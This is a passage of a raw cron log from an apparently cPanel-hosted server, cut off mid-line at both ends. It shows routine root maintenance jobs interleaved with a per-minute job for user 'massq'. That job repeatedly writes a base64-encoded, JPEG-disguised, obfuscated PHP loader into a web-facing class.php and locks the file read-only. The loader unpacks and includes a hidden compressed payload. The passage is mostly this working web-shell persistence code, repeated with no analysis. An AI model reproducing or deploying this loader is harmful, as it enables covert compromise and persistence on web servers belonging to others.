V7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:24:01 server CROND[9356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:25:01 server CROND[9404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:25:01 server CROND[9405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:25:01 server CROND[9406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:25:01 server CROND[9407]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 14:26:02 server CROND[9509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:27:01 server CROND[9644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:27:01 server CROND[9645]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 14:28:01 server CROND[9694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:29:01 server CROND[9741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:30:01 server CROND[9806]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 14:30:01 server CROND[9805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:30:01 server CROND[9807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:30:01 server CROND[9808]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:31:01 server CROND[9915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:32:01 server CROND[9970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:33:01 server CROND[10113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:34:01 server CROND[10165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:35:01 server CROND[10216]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:35:01 server CROND[10219]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 14:35:01 server CROND[10220]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 14:35:01 server CROND[10223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:35:01 server CROND[10221]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:36:01 server CROND[10321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:37:01 server CROND[10380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 